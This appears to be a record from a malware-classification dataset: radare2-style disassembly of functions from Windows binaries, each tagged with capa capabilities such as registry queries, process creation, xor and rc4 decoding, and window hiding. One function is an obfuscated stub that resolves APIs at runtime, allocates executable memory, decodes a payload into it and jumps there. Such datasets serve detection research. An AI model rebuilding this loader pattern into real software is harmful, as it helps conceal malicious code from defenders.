joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009b34
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x1000cdf8
call fcn.1000b95f
mov eax, dword [ebp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x18], ebx
push dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
call esi
test eax, eax
jne 0x10009c78
cmp dword [ebp - 0x18], 1
jne 0x10009c78
mov edi, dword [ebp - 0x14]
shr edi, 1
inc edi
xor ecx, ecx
push 2
pop edx
mov eax, edi
mul edx
seto cl
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], ebx
neg ecx
or ecx, eax
push ecx
call fcn.1000bd3f
mov edi, eax
pop ecx
mov dword [ebp - 0x1c], edi
cmp edi, ebx
je 0x10009c6a
push dword [ebp - 0x14]
push ebx
push edi
call fcn.1000bd3f
mov eax, dword [ebp - 0x14]
add esp, 0xc
lea eax, [eax + eax - 2]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp eax, ebx
jne 0x10009c6a
cmp dword [ebp - 0x18], 1
jne 0x10009c6a
shr dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000bd3f
mov esi, dword [ebp + 0x10]
pop ecx
mov dword [esi], eax
cmp eax, ebx
je 0x10009c6a
mov ecx, dword [ebp - 0x14]
inc ecx
push ecx
push ebx
push eax
call fcn.1000bd3f
lea eax, [ebp - 0x20]
push eax
push 0x100102f4
push edi
call dword [sym.imp.MSVCR100.dll_wcstok_s]
mov edi, eax
add esp, 0x18
cmp edi, ebx
je 0x10009c50
push edi
call fcn.1000bd3f
pop ecx
cmp al, bl
je 0x10009c50
mov eax, dword [ebp - 0x14]
push edi
inc eax
push eax
push dword [esi]
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
jmp 0x10009c6a
push dword [esi]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
mov dword [esi], ebx
jmp 0x10009c6a
cmp dword [ebp - 0x1c], ebx
je 0x10009c78
push dword [ebp - 0x1c]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
call fcn.1000ba04
ret
Function at 0x10009c7e
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x438
mov eax, 0x1000ce13
call fcn.1000b9cb
mov eax, dword [ebp + 8]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x43c], eax
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x424], ax
xor esi, esi
lea eax, [ebp - 0x422]
push esi
push eax
call sub.MSVCR100.dll_memset
xor eax, eax
push edi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push esi
push eax
call sub.MSVCR100.dll_memset
fldz
add esp, 0x18
fstp qword [ebp - 0x444]
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSoftGrid
mov ebx, 0x104
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x438], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10009ecd
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x428], esi
push esi
jmp 0x10009d98
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCR100.dll__wtof]
fldz
fcomp st(1)
pop ecx
fnstsw ax
test ah, 5
jp 0x10009d78
fld qword [ebp - 0x444]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x10009d78
lea eax, [ebp - 0x21c]
fstp qword [ebp - 0x444]
push eax
lea eax, [ebp - 0x424]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
jmp 0x10009d7a
fstp st(0)
inc dword [ebp - 0x428]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
call edi
mov dword [ebp - 0x430], eax
cmp eax, esi
je 0x10009d30
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x430], 0x103
jne 0x10009ecd
mov edi, dword [sym.imp.MSVCR100.dll_wcslen]
push str.ClientUserInterface
call edi
mov ebx, str.SoftwareMicrosoftSoftGrid_
push ebx
mov dword [ebp - 0x430], eax
call edi
mov ecx, dword [ebp - 0x430]
lea edi, [ecx + eax + 0x105]
xor ecx, ecx
push 2
pop edx
mov eax, edi
mul edx
seto cl
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
neg ecx
or ecx, eax
push ecx
call fcn.1000bd3f
add esp, 0xc
mov dword [ebp - 0x428], eax
cmp eax, esi
je 0x10009ecd
push edi
push esi
push eax
call fcn.1000bd3f
push ebx
push edi
push dword [ebp - 0x428]
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
mov ebx, dword [sym.imp.MSVCR100.dll_wcscat_s]
add esp, 0x18
lea eax, [ebp - 0x424]
push eax
push edi
push dword [ebp - 0x428]
call ebx
add esp, 0xc
push str.ClientUserInterface
push edi
push dword [ebp - 0x428]
call ebx
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push dword [ebp - 0x428]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x10009ec1
push dword [ebp - 0x434]
push str.LaunchCommand
push dword [ebp - 0x42c]
call fcn.10009b34
add esp, 0xc
push dword [ebp - 0x43c]
push 0x100102f8
push dword [ebp - 0x42c]
call fcn.10009b34
add esp, 0xc
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x428]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
call fcn.1000ba27
ret
Function at 0x1000a817
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push 0x89c
mov eax, 0x1000cea5
call fcn.1000b995
mov eax, dword [ebp + 8]
push 0x44
pop esi
xor ebx, ebx
push esi
mov dword [ebp - 0x854], eax
lea eax, [ebp - 0x8a8]
push ebx
push eax
mov dword [ebp - 0x850], ecx
mov byte [ebp - 0x849], bl
call sub.MSVCR100.dll_memset
xor eax, eax
push 0x10
mov word [ebp - 0x878], ax
lea eax, [ebp - 0x864]
push ebx
push eax
mov dword [ebp - 0x8a8], esi
mov dword [ebp - 0x87c], 1
call sub.MSVCR100.dll_memset
add esp, 0x18
push 7
pop edi
xor eax, eax
mov dword [ebp - 0x834], edi
mov dword [ebp - 0x838], ebx
mov word [ebp - 0x848], ax
push ebx
mov esi, 0x105
push esi
lea ecx, [ebp - 0x848]
mov dword [ebp - 4], ebx
call fcn.1000bd3f
cmp dword [ebp - 0x834], 8
mov eax, dword [ebp - 0x848]
jae 0x1000a8bb
lea eax, [ebp - 0x848]
push eax
push dword [ebp - 0x838]
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
cmp eax, ebx
je 0x1000aa62
cmp eax, dword [ebp - 0x838]
ja 0x1000aa62
xor eax, eax
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x81c], ebx
mov word [ebp - 0x82c], ax
push ebx
push esi
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], 1
call fcn.1000bd3f
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a917
lea eax, [ebp - 0x82c]
push dword [ebp - 0x81c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
cmp eax, ebx
je 0x1000aa51
cmp eax, dword [ebp - 0x81c]
ja 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a94d
lea eax, [ebp - 0x82c]
mov esi, dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
push eax
call esi
test eax, eax
je 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a973
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x864]
push ecx
lea ecx, [ebp - 0x8a8]
push ecx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x854]
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
cmp dword [ebp - 0x834], 8
mov edi, eax
mov eax, dword [ebp - 0x848]
jae 0x1000a9ab
lea eax, [ebp - 0x848]
push eax
call esi
cmp edi, ebx
je 0x1000a9df
push 0x186a0
push dword [ebp - 0x864]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
test eax, eax
jne 0x1000aa17
mov eax, dword [ebp - 0x864]
mov ecx, dword [ebp - 0x850]
mov dword [ecx + 0x24], eax
mov byte [ebp - 0x849], 1
jmp 0x1000aa17
call dword [sym.imp.kernel32.dll_GetLastError]
push 0x800
mov esi, eax
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x400
lea eax, [ebp - 0x810]
push eax
push ebx
push esi
push ebx
push 0x1000
call dword [sym.imp.kernel32.dll_FormatMessageW]
mov eax, dword [ebp - 0x85c]
mov ecx, dword [ebp - 0x850]
push ebx
mov dword [ecx + 0x28], eax
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.1000bd3f
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.1000bd3f
mov al, byte [ebp - 0x849]
jmp 0x1000aa76
push ebx
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.1000bd3f
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.1000bd3f
xor al, al
call fcn.1000ba18
ret 4
Function at 0x1000aa7e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x258
mov eax, 0x1000cef0
call fcn.1000b995
mov edi, ecx
xor esi, esi
mov byte [ebp - 0x251], 0
cmp dword [edi + 0x20], esi
jne 0x1000acb5
mov eax, dword [edi]
xor ebx, ebx
inc ebx
sub eax, esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x260], ebx
je 0x1000aacd
dec eax
jne 0x1000acb5
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcrobat.exe
jmp 0x1000aadb
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcroRd32.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x25c], esi
je 0x1000acb5
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x260]
push eax
push esi
push 0x1000f51c
push dword [ebp - 0x25c]
mov dword [ebp - 0x264], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, esi
jne 0x1000aca9
cmp dword [ebp - 0x260], ebx
je 0x1000ab40
cmp dword [ebp - 0x260], 2
jne 0x1000aca9
push 0x1c
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x258], eax
mov dword [ebp - 4], esi
cmp eax, esi
je 0x1000ab65
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.1000bd3f
jmp 0x1000ab67
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [edi + 0x20], eax
cmp byte [0x10015902], 0
je 0x1000aca2
mov edx, dword [eax + 0x14]
push 8
pop esi
cmp edx, esi
jb 0x1000ab8f
mov ecx, dword [eax]
mov dword [ebp - 0x258], ecx
jmp 0x1000ab95
mov dword [ebp - 0x258], eax
cmp edx, esi
jb 0x1000ab9d
mov ecx, dword [eax]
jmp 0x1000ab9f
mov ecx, eax
mov ebx, dword [eax + 0x10]
lea ecx, [ecx + ebx*2]
cmp edx, esi
jb 0x1000abab
mov eax, dword [eax]
push dword [sym.imp.MSVCR100.dll_towlower]
push dword [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.1000bd3f
add esp, 0x14
push str.acrobat.exe
lea ecx, [ebp - 0x234]
call fcn.1000bd3f
push str.acrodbg.exe
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], 1
call fcn.1000bd3f
mov eax, dword [ebp - 0x234]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x220], esi
jae 0x1000ac07
lea eax, [ebp - 0x234]
mov esi, dword [ebp - 0x224]
mov edi, dword [edi + 0x20]
push esi
push 0xffffffffffffffff
push eax
mov ecx, edi
call fcn.1000bd3f
mov ebx, eax
test ebx, ebx
je 0x1000ac2e
mov dword [ebp - 0x258], esi
mov esi, str.acrord32.exe
jmp 0x1000ac64
cmp dword [ebp - 0x23c], 8
mov eax, dword [ebp - 0x250]
jae 0x1000ac43
lea eax, [ebp - 0x250]
push dword [ebp - 0x240]
mov ecx, edi
push 0xffffffffffffffff
push eax
call fcn.1000bd3f
mov ebx, eax
test ebx, ebx
je 0x1000ac7c
mov dword [ebp - 0x258], esi
mov esi, str.acrd32_d.exe
push esi
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
push eax
push esi
push dword [ebp - 0x258]
mov ecx, edi
push ebx
call fcn.1000bd3f
push 0
push 1
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 1
call fcn.1000bd3f
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x234]
call fcn.1000bd3f
mov byte [ebp - 0x251], 1
push dword [ebp - 0x25c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0x251]
call fcn.1000ba18
ret
Function at 0x1000b904
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10015820]
jne 0x1000b90e
repz ret
jmp fcn.1000c082

Function at 0x1000bd3f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000bd4e
pop dword [ebp - 0x2c]
mov eax, 0x1000bd4e
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x5148ec33
add dword [ebp - 0x3c], 0xfd095918
mov dword [ebp - 0x38], 0xdaa021a5
sub dword [ebp - 0x38], 0xa86cd560
mov dword [ebp - 0x34], 0xfc27b775
add dword [ebp - 0x34], 0x50248cb9
mov dword [ebp - 0x30], 0x40b799ef
sub dword [ebp - 0x30], 0x40b799ef
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x98389753
sub dword [ebp - 0x3c], 0x23c62dfd
mov dword [ebp - 0x38], 0x5258e16
add dword [ebp - 0x38], 0x3c46d35f
mov dword [ebp - 0x34], 0x435420a6
add dword [ebp - 0x34], 0x201b4bc6
mov dword [ebp - 0x30], 0xfbf38f28
sub dword [ebp - 0x30], 0xfbf38f28
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3df7b
push 0
call eax
mov ecx, 0xcda90177
add ecx, 0x32575b5e
xor edx, edx
add edx, eax
mov esi, 0xda65cbbb
add esi, 0x359bd845
add esi, dword [ebp - 0x2c]
mov ebx, 0x5c0c7f16
add ebx, 0x35a7296d
add dword [ebp - 0x24], edi
mov edi, dword [esi]
sub dword [ebp - 0x20], 0xb3647575
add edi, ebx
xor dword [ebp - 0x24], 0xd82d0bf3
mov dword [edx], edi
add dword [ebp - 4], 0xa12759a7
add edx, 0xf94ceba2
sub edx, 0xf94ceb9e
add esi, 4
loop 0x1000be63
add eax, 0x52f7d878
add eax, 0xad098daf
mov ebx, eax
add eax, 5
mov ecx, 0xfef60611
sub ecx, 0xeef60611
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4067c0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
push closesocket
push dword [ebp + 8]
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x14], eax
cmp eax, 0xffffffff
jne 0x4067fa
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
lea esi, [edi + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [esi]
xor ecx, ecx
mov esi, dword [ebp + 0xc]
add ecx, eax
mov dword [edi + 0x1c], eax
adc edx, 0
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
lea eax, [esi + 3]
push eax
call fcn.00503e6e
add esp, 4
mov dword [edi + 0x20], eax
test eax, eax
jne 0x406868
push 0x103
mov esi, 0x100
call fcn.00503e6e
add esp, 4
mov dword [edi + 0x20], eax
test eax, eax
jne 0x406868
mov eax, dword [edi + 0x14]
test eax, eax
je 0x406854
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x14], 0
mov eax, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov dword [edi], esi
xor eax, eax
mov dword [edi + 0x28], 0xffffffff
mov dword [edi + 0x2c], 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x406890
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
xor ecx, ecx
add eax, ebx
push edi
mov edi, dword [ebp + 0xc]
adc ecx, edi
mov edx, dword [esi]
mov dword [ebp - 4], edx
add edx, dword [esi + 0x28]
mov dword [ebp - 8], eax
mov eax, 0
adc eax, dword [esi + 0x2c]
cmp ecx, eax
ja 0x4068d4
jb 0x4068c8
cmp dword [ebp - 8], edx
ja 0x4068d4
cmp edi, dword [esi + 0x2c]
jb 0x4068d4
ja 0x40692d
cmp ebx, dword [esi + 0x28]
jae 0x40692d
push 0
push dword [ebp - 4]
push edi
push ebx
call fcn.0059b4e0
mov ecx, ebx
sub ecx, eax
mov eax, dword [esi + 0x20]
push 0
mov dword [ebp + 0xc], eax
sbb edi, edx
lea eax, [esi + 0x18]
mov dword [esi + 0x28], ecx
push eax
mov dword [esi + 0x2c], edi
push ecx
push dword [esi + 0x14]
mov dword [eax], edi
mov dword [esi + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x40694f
mov eax, dword [ebp - 4]
lea edi, [esi + 0x10]
push 0
push edi
add eax, 3
push eax
push dword [ebp + 0xc]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40692d
cmp dword [edi], eax
je 0x40694f
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x28]
push dword [ebp + 0x14]
add eax, ebx
push eax
push dword [ebp + 0x10]
call fcn.00500630
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4070c0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
push 0
and edx, 1
mov esi, ecx
push 0x80
lea eax, [edx + 3]
push eax
push 0
lea eax, [edx + 2]
push 3
shl eax, 0x1e
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov dword [esi + 0xc], ecx
cmp ecx, 0xffffffff
jne 0x4070ff
mov eax, 1
pop esi
pop ebp
ret 0x10
push ebx
mov ebx, dword [ebp + 0x14]
lea edx, [esi + 0x10]
push edi
mov edi, dword [ebp + 0x10]
mov eax, edi
or eax, ebx
je 0x40714a
push 0
push edx
push edi
push ecx
mov dword [edx], ebx
mov dword [esi + 0x14], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x407131
pop edi
pop ebx
mov eax, 2
pop esi
pop ebp
ret 0x10
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40715f
pop edi
pop ebx
mov eax, 3
pop esi
pop ebp
ret 0x10
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [esi + 0x10]
xor edi, edi
add edi, eax
mov dword [esi + 0x14], eax
adc ebx, 0
mov dword [esi], edi
xor eax, eax
pop edi
mov dword [esi + 4], ebx
pop ebx
pop esi
pop ebp
ret 0x10
Function at 0x410710
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
test edx, edx
push ebx
push esi
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea ebx, [ebp - 8]
push ecx
cmovne ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x410748
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebx], eax
call fcn.00503e6e
mov edi, eax
add esp, 4
test edi, edi
jne 0x410773
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push dword [ebx]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41079e
mov eax, dword [ebp - 4]
cmp eax, dword [ebx]
jne 0x41079e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00503e53
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4107c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, edx
lea edx, [ebp - 4]
push edi
mov dword [ebp - 8], ebx
call fcn.00410710
mov edi, eax
test edi, edi
jne 0x4107e4
lea eax, [edi + 0xc]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp - 4]
xor eax, eax
test esi, esi
jle 0x410942
cmp esi, 8
jb 0x410919
cmp dword [0x9130e0], 2
jl 0x410919
movaps xmm2, xmmword [0x6172a0]
mov ecx, esi
and ecx, 0x80000007
jns 0x41081e
dec ecx
or ecx, 0xfffffff8
inc ecx
movaps xmm4, xmmword [0x6172e0]
mov ebx, esi
movd xmm0, esi
sub ebx, ecx
mov esi, 4
pshufd xmm3, xmm0, 0
mov edx, edi
sub esi, edi
nop dword [eax + eax]
movd xmm0, eax
lea ecx, [esi + edx]
pshufd xmm0, xmm0, 0
lea edx, [edx + 8]
paddd xmm0, xmm2
movaps xmm1, xmm3
psubd xmm1, xmm0
add eax, 8
pmulld xmm1, xmm0
pmulld xmm1, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm1
andps xmm0, xmm4
paddd xmm0, xmm1
psrad xmm0, 8
pslld xmm0, 8
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x6172f0]
movd xmm0, dword [edx - 8]
packuswb xmm1, xmm1
xorps xmm1, xmm0
movd xmm0, ecx
movd dword [edx - 8], xmm1
movaps xmm1, xmm3
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
psubd xmm1, xmm0
pmulld xmm1, xmm0
pmulld xmm1, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm1
andps xmm0, xmm4
paddd xmm0, xmm1
psrad xmm0, 8
pslld xmm0, 8
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x6172f0]
movd xmm0, dword [edx - 4]
packuswb xmm1, xmm1
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp eax, ebx
jl 0x410840
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
cmp eax, esi
jge 0x410942
mov edx, esi
sub edx, eax
mov ecx, edx
imul ecx, eax
imul ecx, eax
and ecx, 0x800000ff
jns 0x410939
dec ecx
or ecx, 0xffffff00
inc ecx
xor byte [edi + eax], cl
dec edx
inc eax
cmp eax, esi
jl 0x410921
push 3
push esi
push edi
mov ecx, ebx
call fcn.00486110
pop esi
push edi
test al, al
jne 0x410966
call fcn.00503e53
add esp, 4
mov eax, 0xd
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00503e53
add esp, 4
xor eax, eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x91594c], 0
je 0x411cd6
mov eax, 0x3c
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 4]
test dl, dl
push eax
push 0
lea eax, [ecx + 0x10]
cmove eax, ecx
push eax
push 0x411830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x411d03
lea eax, [esi + 3]
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x634511], 0
je 0x411d15
push 0xfffffffffffffff1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41a160
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push esi
push edi
mov edi, dword [0x920978]
push 0
push edi
push 0x130c
push dword [0x915d8c]
call ebx
xor esi, esi
push 0
push 0
push 0x8002
push dword [esi*4 + 0x915d70]
call ebx
xor eax, eax
mov ecx, 5
cmp esi, edi
cmove eax, ecx
push eax
push dword [esi*4 + 0x915d70]
call dword [sym.imp.USER32.dll_ShowWindow]
inc esi
cmp esi, 5
jl 0x41a185
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret